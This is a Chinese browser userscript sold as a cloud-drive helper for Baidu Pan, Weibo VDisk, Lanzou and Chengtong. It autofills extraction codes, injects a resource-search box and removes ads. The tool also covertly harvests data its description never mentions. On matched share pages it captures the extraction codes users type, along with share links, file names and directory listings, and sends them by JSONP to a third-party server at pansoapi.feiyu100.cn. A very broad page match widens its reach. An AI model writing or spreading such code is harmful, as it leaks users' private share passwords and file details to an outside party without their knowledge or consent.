// ==UserScript==
// @name 网盘精灵
// @version 1.0.1
// @description 网盘精灵,云盘、网盘搜索工具,提供了资源搜索功能,支持百度云盘、新浪微盘、蓝奏云盘,城通网盘的提取码获取,自动填充,为你提供便捷的资源搜索服务。
// @license AGPL
// @match *://pan.baidu.com/*
// @match *://yun.baidu.com/*
// @match *://*.lanzoux.com/*
// @match *://*.lanzous.com/*
// @match *://vdisk.weibo.com/*
// @match *://pan.ishare1.cn/file/*
// @match *://*/file/*
// @require https://cdn.jsdelivr.net/npm/[email protected]/dist/jquery.min.js
// @require https://cdn.jsdelivr.net/npm/[email protected]/dist/sweetalert2.all.min.js
// @connect *
// @run-at document-idle
// @namespace https://gf.qytechs.cn/users/215071
// ==/UserScript==
;(() => {
'use strict'
let Toast = Swal.mixin({
toast: true,
position: 'top',
showConfirmButton: false,
timer: 3000,
timerProgressBar: false,
onOpen: (toast) => {
toast.addEventListener('mouseenter', Swal.stopTimer)
toast.addEventListener('mouseleave', Swal.resumeTimer)
}
})
console.log(window.location.href);
var apiBase = 'https://pansoapi.feiyu100.cn';
//百度网盘 获取提取码
if ((window.location.href.indexOf('init') >= 0 && window.location.href.indexOf('pan.baidu.com') >= 0)
|| (window.location.href.indexOf('init') >= 0 && window.location.href.indexOf('yun.baidu.com') >= 0)) {
console.log("111111")
var link = window.location.href;
window.localStorage.setItem('link', link);
$.ajax({
url: `${apiBase}/api/index/getCodeFromUrl`,
method: "POST",
data: {
link: link,
},
success: function (data) {
console.log(data);
if (data.status === 100) {
if (data.data.length > 0) {
//填充提取码
document.querySelector('#accessCode').value = data.data;
//插入提示
Toast.fire({
icon: 'success',
text: '获取提取码成功!'
})
} else {
//插入提示
Toast.fire({
icon: 'error',
text: '未能找到提取码!'
})
}
}
},
error: function (e) {
console.log("发生异常" + e);
},
});
if (window.document.querySelectorAll("#doc").length > 0) {
var doc = document.querySelector('#doc');
var panel = document.createElement('div');
panel.innerHTML = `
<div class="clearfix input-area" style="width:100%;display:flex;justify-content:center;margin-top:50px;">
<input class="QKKaIE LxgeIt" id="searchValue" tabindex="1" type="text" placeholder="资源搜索:请输入关键字">
<div>
<button style="width: 100%;height: 100%;background: #09aaff;border: none;color: white;border-radius: 5px;margin: 0 20px;" id="search">搜索</button>
</div>
</div>
`;
doc.appendChild(panel);
}
document.querySelector('#search').addEventListener('click', function () {
var searchValue = document.querySelector('#searchValue').value;
window.open("https://panso.feiyu100.cn/search?q=" + searchValue)
});
//监听点击提取按钮,存储提取码
document.querySelector('#submitBtn a').addEventListener('click', function () {
var code = document.getElementById('accessCode').value;
if (code) {
localStorage.setItem(link, code);
}
});
}
//百度网盘 上传
if ((window.location.href.indexOf('init') < 0 && window.location.href.indexOf("pan.baidu.com") >= 0)
|| (window.location.href.indexOf('init') < 0 && window.location.href.indexOf('yun.baidu.com') >= 0)) {
var content = [];
var contentItem = {
name: '',
size: '',
};
var title = '';
var totalSize = '';
var extractCode = '';
var shareTime = "";
var bdlink = '';
var interval = setInterval(function () {
if (document.querySelectorAll('h2.file-name').length > 0 && document.querySelector('h2.file-name').title != "文件名") {
if (window.document.querySelectorAll(".slide-show-other-infos").length > 0) {
var doc1 = document.querySelector('.slide-show-other-infos');
var bdpanel = document.createElement('div');
bdpanel.innerHTML = `
<div class="clearfix input-area" style="width:100%;display:flex;justify-content:center;margin-top:10px;">
<input class="QKKaIE LxgeIt" id="searchValue" tabindex="1" type="text" placeholder="资源搜索:请输入关键字">
<div>
<button style="width: 100%;height: 100%;background: #09aaff;border: none;color: white;border-radius: 5px;margin: 0 20px;" id="search">搜索</button>
</div>
</div>
`;
doc1.appendChild(bdpanel);
}
document.querySelector('#search').addEventListener('click', function () {
var searchValue = document.querySelector('#searchValue').value;
window.open("https://panso.feiyu100.cn/search?q=" + searchValue)
});
clearInterval(interval);
if (localStorage.getItem('link')) {
if (window.location.href != localStorage.getItem('link') && window.location.href.includes(localStorage.getItem('link').match(/url=(\S*)/)[1])) {
bdlink = localStorage.getItem('link');
extractCode = localStorage.getItem(localStorage.getItem('link'));
} else {
bdlink = window.location.href;
extractCode = '';
}
} else {
bdlink = window.location.href;
extractCode = '';
}
//文件名
if (document.querySelector('h2.file-name').title.length > 0) {
console.log("文件名:" + document.querySelector('h2.file-name').title);
title = document.querySelector('h2.file-name').title;
} else {
title = "";
}
//分享时间
if (document.querySelector('.share-file-info span').innerText.length > 0) {
console.log("分享时间:" + document.querySelector('.share-file-info span').innerText);
shareTime = document.querySelector('.share-file-info span').innerText;
}
//文件内容
if (document.querySelectorAll('.file-name .text .filename').length) {//文件夹内容
for (let i = 0; i < document.querySelectorAll('.file-name .text .filename').length; i++) {
var obj = {
name: '',
size: '',
};
console.log(document.querySelectorAll('.file-name .text .filename')[i].title);
obj.name = document.querySelectorAll('.file-name .text .filename')[i].title;
obj.size = document.querySelectorAll('.file-size')[i].innerText;
content.push(obj);
}
} else {//不是文件夹形式的,获取文件大小
//文件大小
if (document.querySelector('.icon.icon-download').title.length > 2) {
console.log((document.querySelector('.icon.icon-download').title).match(/\((\S*)\)/)[1])
totalSize = (document.querySelector('.icon.icon-download').title).match(/\((\S*)\)/)[1];
contentItem.name = document.querySelector('h2.file-name').title;
contentItem.size = (document.querySelector('.icon.icon-download').title).match(/\((\S*)\)/)[1];
} else {
contentItem.name = document.querySelector('h2.file-name').title;
contentItem.size = '-';
}
content.push(contentItem);
}
console.log(JSON.stringify(content));
//上传
$.ajax({
url: `${apiBase}/api/index/uploadFromPlugin`,
dataType: 'jsonp',
data: {
link: bdlink,
extract_code: extractCode,
title: title,
dir_struct: JSON.stringify(content),
share_time: shareTime,
total_size: totalSize,
},
success: function (data) {
console.log(data);
},
});
}
}, 10);
}
//微盘
if (window.location.href.indexOf("vdisk.weibo.com") >= 0) {
if (window.document.querySelectorAll('.my_vdisk_main').length > 0) {
var file3 = document.querySelector('.my_vdisk_main');
var panel3 = document.createElement('div');
panel3.innerHTML = `
<div class="clearfix input-area" style="width:100%;display:flex;justify-content:center;margin-top:40px;">
<input id="searchValue" tabindex="1" type="text" placeholder="资源搜索:请输入关键字" style="width:280px;border:1px solid #f2f2f2;padding:8px 10px;height:20px;line-height:20px;border-radius:4px;">
<div>
<button style="width: 100%;height: 100%;background: #09aaff;border: none;color: white;border-radius: 5px;margin: 0 20px;" id="search">搜索</button>
</div>
</div>
`;
file3.appendChild(panel3);
} else {
var vifile = document.querySelector('.vdisk_header_main');
var vipanel = document.createElement('div');
vipanel.innerHTML = `
<div class="clearfix input-area" style="width:100%;display:flex;justify-content:center;margin-top:70px;">
<input id="searchValue" tabindex="1" type="text" placeholder="资源搜索:请输入关键字" style="width:280px;border:1px solid #f2f2f2;padding:8px 10px;height:20px;line-height:20px;border-radius:4px;">
<div>
<button style="width: 100%;height: 100%;background: #09aaff;border: none;color: white;border-radius: 5px;margin: 0 20px;" id="search">搜索</button>
</div>
</div>
`;
vifile.appendChild(vipanel);
}
document.querySelector('#search').addEventListener('click', function () {
var searchValue = document.querySelector('#searchValue').value;
window.open("https://panso.feiyu100.cn/search?q=" + searchValue)
});
var wbLink = '';
var wbExtractCode = '';
var wbTitle = '';
var dirStruct = {
name: '',
size: '',
};
var wbDirStruct = [];
var wbShareTime = '';
var wbTotalSize = '';
window.onload = function () {
var interval = setInterval(function () {
if (window.document.querySelectorAll('.page_down_filename').length > 0
|| window.document.querySelectorAll('.page_down_filename').length > 0) {
clearInterval(interval);
wbLink = window.location.href;
if (window.document.querySelector('.btn_vdisk_size')) {
wbTotalSize = window.document.querySelector('.btn_vdisk_size').innerHTML;
} else {
wbTotalSize = '';
}
//文件夹
if (window.document.querySelector('.scroll_content')) {
for (let i = 0; i < document.querySelectorAll('#fileListBody tr').length; i++) {
var obj = {
name: '',
size: '',
};
obj.name = window.document.querySelectorAll('.sort_name_intro a')[i].innerText;
if (window.document.querySelectorAll('.sort_size_m')[i].innerText) {
obj.size = window.document.querySelectorAll('.sort_size_m')[i].innerText;
} else {
obj.size = '-';
}
wbDirStruct.push(obj)
wbTitle = window.document.querySelector('.page_down_filename').innerText;
}
} else { //不是文件夹
wbTitle = window.document.querySelector('.page_down_filename').innerHTML;
dirStruct.name = window.document.querySelector('.page_down_filename').innerHTML;
dirStruct.size = window.document.querySelector('.btn_vdisk_size').innerHTML;
wbDirStruct.push(dirStruct);
}
console.log("wbTotalSize:" + JSON.stringify(wbDirStruct));
$.ajax({
url: `${apiBase}/api/index/uploadFromPlugin`,
dataType: 'jsonp',
data: {
link: wbLink,
extract_code: wbExtractCode,
title: wbTitle,
dir_struct: JSON.stringify(wbDirStruct),
share_time: wbShareTime,
total_size: wbTotalSize,
},
success: function (data) {
console.log(data);
},
});
}
})
}
}
//蓝奏云
if (window.location.href.indexOf('lanzou') >= 0) {
var lzTitle = '';
var lzLink = '';
var lzExtractCode = '';
var lzDirStructItem = {
name: '',
size: '',
};
var lzDirStruct = [];
var lzShareTime = '';
var lzTotalSize = '';
var code = '';
//获取提取码
$.ajax({
url: `${apiBase}/api/index/getCodeFromUrl`,
method: "POST",
data: {
link: window.location.href,
},
success: function (data) {
console.log(data);
if (data.status === 100) {
code = data.data;
if (window.document.querySelectorAll('#pwd').length > 0) {
if (window.document.querySelectorAll('#pwdload').length > 0) { //多文件
if (data.data.length > 0) {
window.document.querySelector('#pwd').value = data.data;
Toast.fire({
icon: 'success',
text: '获取提取码成功!'
})
} else {
Toast.fire({
icon: 'error',
text: '未能找到提取码!'
})
}
} else { //单文件
if (data.data.length > 0) {
window.document.querySelector('#pwd').value = data.data;
Toast.fire({
icon: 'success',
text: '获取提取码成功!'
})
} else {
Toast.fire({
icon: 'error',
text: '未能找到提取码!'
})
}
}
} else {
console.log('无需提取码');
}
}
},
error: function (e) {
console.log("发生异常" + e)
},
});
if (window.document.querySelectorAll('.passwddiv-input .passwddiv-btn').length > 0) { //单文件(有提取码)
var file = document.querySelector('#passwddiv');
var ele = document.createElement('div');
ele.innerHTML = `
<div class="passwddiv-input" style="display: flex;justify-content: space-between;align-items: center;width: 300px;">
<input class="passwdinput" id="searchValue" tabindex="1" type="text" placeholder="资源搜索:请输入关键字">
<button style="width: 80px;height: 35px;background: #09aaff;border: none;color: white;border-radius: 5px;" id="search">搜索</button>
</div>
`;
file.appendChild(ele);
document.querySelector('#search').addEventListener('click', function () {
var searchValue = document.querySelector('#searchValue').value;
window.open("https://panso.feiyu100.cn/search?q=" + searchValue)
});
var file2 = document.querySelector('.n_box');
var ele2 = document.createElement('div');
ele2.innerHTML = `
<div class="passwddiv-input" style="display: flex;justify-content: space-between;align-items: center;width: 300px;margin-bottom:30px">
<input class="passwdinput" id="searchValue" tabindex="1" type="text" placeholder="资源搜索:请输入关键字">
<button style="width: 80px;height: 35px;background: #09aaff;border: none;color: white;border-radius: 5px;" id="search">搜索</button>
</div>
`;
file2.appendChild(ele2);
document.querySelector('#search').addEventListener('click', function () {
var searchValue = document.querySelector('#searchValue').value;
window.open("https://panso.feiyu100.cn/search?q=" + searchValue)
});
window.document.querySelector('.passwddiv-input .passwddiv-btn').addEventListener('click', function () {
window.localStorage.setItem('lzExtractCode', window.document.querySelector('.passwdinput').value);
window.localStorage.setItem('lzLink', window.location.href);
var a = setInterval(function () {
if (window.document.querySelector('#filenajax').innerText && window.document.querySelector('#filenajax').innerText != "文件") {
clearInterval(a);
if (window.location.href === window.localStorage.getItem('lzLink')) {
lzExtractCode = window.localStorage.getItem('lzExtractCode');
} else {
lzExtractCode = '';
}
if (window.document.querySelector('#file')) {
lzTitle = window.document.querySelector('#filenajax').innerText;
lzLink = window.location.href;
if (window.document.querySelector('.n_file_info span.n_file_infos').innerText) {
lzShareTime = window.document.querySelector('.n_file_info span.n_file_infos').innerText;
} else {
lzShareTime = '';
}
if (window.document.querySelector('.n_filesize').innerText) {
lzTotalSize = window.document.querySelector('.n_filesize').innerText.match(/大小:(\S*)/)[1];
lzDirStructItem.name = window.document.querySelector('#filenajax').innerText;
lzDirStructItem.size = window.document.querySelector('.n_filesize').innerText.match(/大小:(\S*)/)[1];
lzDirStruct.push(lzDirStructItem);
} else {
lzTotalSize = '';
lzDirStructItem.name = window.document.querySelector('#filenajax').innerText;
lzDirStructItem.size = '-';
lzDirStruct.push(lzDirStructItem);
}
}
$.ajax({
url: `${apiBase}/api/index/uploadFromPlugin`,
dataType: 'jsonp',
data: {
link: lzLink,
extract_code: lzExtractCode,
title: lzTitle,
dir_struct: JSON.stringify(lzDirStruct),
share_time: lzShareTime,
total_size: lzTotalSize,
},
success: function (data) {
console.log(data);
},
});
}
}, 10);
});
} else if (window.document.querySelector('.btnpwd#sub')) { //多文件(有提取码)
var file1 = document.querySelector('body');
var ele1 = document.createElement('div');
ele1.innerHTML = `
<div class="passwddiv-input" style="display: flex;justify-content: center;align-items: center;width: 300px;margin:auto;padding:0 !important;">
<input class="input" id="searchValue" tabindex="1" type="text" placeholder="资源搜索:请输入关键字" style="height:34px;font-size:14px;margin:0 10px">
<input id="search" type="submit" class="btnpwd" value="确认" style="height:45px">
</div>
`;
file1.appendChild(ele1);
document.querySelector('#search').addEventListener('click', function () {
var searchValue = document.querySelector('#searchValue').value;
window.open("https://panso.feiyu100.cn/search?q=" + searchValue)
});
window.document.querySelector('.btnpwd#sub').addEventListener('click', function () {
window.localStorage.setItem('lzExtractCode', window.document.querySelector('#pwd').value);
window.localStorage.setItem('lzLink', window.location.href);
var interval = setInterval(function () {
if (window.document.querySelectorAll('.d div#sp_name').length > 0 && window.document.querySelectorAll('#infos #name a').length > 0) {
clearInterval(interval);
if (window.location.href === window.localStorage.getItem('lzLink')) {
lzExtractCode = window.localStorage.getItem('lzExtractCode');
} else {
lzExtractCode = '';
}
lzTitle = window.document.querySelector('.d div#sp_name').innerText;
lzLink = window.location.href;
lzTotalSize = '';
lzDirStructItem.name = window.document.querySelector('#infos #name a').innerText;
if (window.document.querySelector('#infos #size').innerText) {
lzDirStructItem.size = window.document.querySelector('#infos #size').innerText;
} else {
lzDirStructItem.size = '-';
}
lzDirStruct.push(lzDirStructItem);
lzShareTime = '';
$.ajax({
url: `${apiBase}/api/index/uploadFromPlugin`,
dataType: 'jsonp',
data: {
link: lzLink,
extract_code: lzExtractCode,
title: lzTitle,
dir_struct: JSON.stringify(lzDirStruct),
share_time: lzShareTime,
total_size: lzTotalSize,
},
success: function (data) {
console.log(data);
},
});
}
}, 10);
});
} else { //无提取码
var lzinterval = setInterval(function () {
if (window.document.querySelectorAll('.d div').length > 0) {
clearInterval(lzinterval);
lzTitle = window.document.querySelector('.d div').innerText;
lzLink = window.location.href;
if (window.document.querySelectorAll('.d2 table td')[0]) {
var length = window.document.querySelectorAll('.d2 table td')[0].innerText.split('\n')[0].length;
window.document.querySelectorAll('.d2 table td')[0].innerText.split('\n')[0].slice(5, length);
lzTotalSize = window.document.querySelectorAll('.d2 table td')[0].innerText.split('\n')[0].slice(5, length);
lzDirStructItem.name = window.document.querySelector('.d div').innerText;
lzDirStructItem.size = window.document.querySelectorAll('.d2 table td')[0].innerText.split('\n')[0].slice(5, length);
lzDirStruct.push(lzDirStructItem);
} else {
lzTotalSize = '-';
lzDirStructItem.name = window.document.querySelector('.d div').innerText;
lzDirStructItem.size = '-';
lzDirStruct.push(lzDirStructItem);
}
$.ajax({
url: `${apiBase}/api/index/uploadFromPlugin`,
dataType: 'jsonp',
data: {
link: lzLink,
extract_code: lzExtractCode,
title: lzTitle,
dir_struct: JSON.stringify(lzDirStruct),
share_time: lzShareTime,
total_size: lzTotalSize,
},
success: function (data) {
console.log(data);
},
});
}
}, 10);
}
}
//城通网盘
if (window.location.href.indexOf('file') >= 0 || window.location.href.indexOf('pan.ishare1.cn/file') >= 0) {
// alert("111");
var ctLink = '';
var ctExtractCode = '';
var ctTitle = '';
var ctDirStructItem = {
name: '',
size: '',
};
var ctDirStruct = [];
var ctShareTime = '';
var ctTotalSize = '';
var ctInterval = setInterval(function () {
if (window.document.querySelectorAll('h4.text-white').length > 0) {
var card = document.querySelector('.card .card-body');
var cardItem = document.createElement('div');
cardItem.innerHTML = `
<div class="clearfix input-area" style="width:100%;display:flex;justify-content:center;margin-top:10px;">
<input id="searchValue" tabindex="1" type="text" placeholder="资源搜索:请输入关键字" style="width:280px;border:1px solid #f2f2f2;padding:8px 10px;line-height:20px;border-radius:4px;">
<div>
<button style="width: 100%;height: 100%;background: #09aaff;border: none;color: white;border-radius: 5px;margin: 0 20px;" id="search">搜索</button>
</div>
</div>
`;
card.appendChild(cardItem);
document.querySelector('#search').addEventListener('click', function () {
var searchValue = document.querySelector('#searchValue').value;
window.open("https://panso.feiyu100.cn/search?q=" + searchValue)
});
clearInterval(ctInterval);
ctLink = window.location.href;
ctTitle = window.document.querySelector('h4.text-white').innerText.slice(5);
var temp = window.document.querySelectorAll('.fs--1')[1].innerText;
ctTotalSize = temp.split(' ')[0].match(/文件大小(\S*)/)[1] + temp.split(" ")[1];
ctShareTime = temp.split(" ")[2].match(/上传时间(\S*)/)[1];
ctDirStructItem.name = window.document.querySelector('h4.text-white').innerText.slice(5);
ctDirStructItem.size = temp.split(' ')[0].match(/文件大小(\S*)/)[1] + temp.split(" ")[1];
ctDirStruct.push(ctDirStructItem);
$.ajax({
url: `${apiBase}/api/index/uploadFromPlugin`,
dataType: 'jsonp',
data: {
link: ctLink,
extract_code: ctExtractCode,
title: ctTitle,
dir_struct: JSON.stringify(ctDirStruct),
share_time: ctShareTime,
total_size: ctTotalSize,
},
success: function (data) {
console.log(data);
},
});
}
})
}
//百度网盘去广告
var adInterval = setInterval(function () {
$(".app-download").remove(); // 右上角app下载提醒
$(".video-title-right").remove();//视频上边角广告
$(".dis-footer").remove(); //尾部广告的剔除
$(".top-right-box").remove();//开通会员广告
$(".gOIbzPb").remove();//好书推荐广告
$(".video-title-right-open-mobile").remove();//新的css div遮挡了我的倍速
$('#web-right-view').remove();
$('#web-single-bottom').remove();
$('.share-center').remove();
$('.ad-warn').remove();
}, 1);
setTimeout(function () {
clearInterval(adInterval);
}, 10000);
})()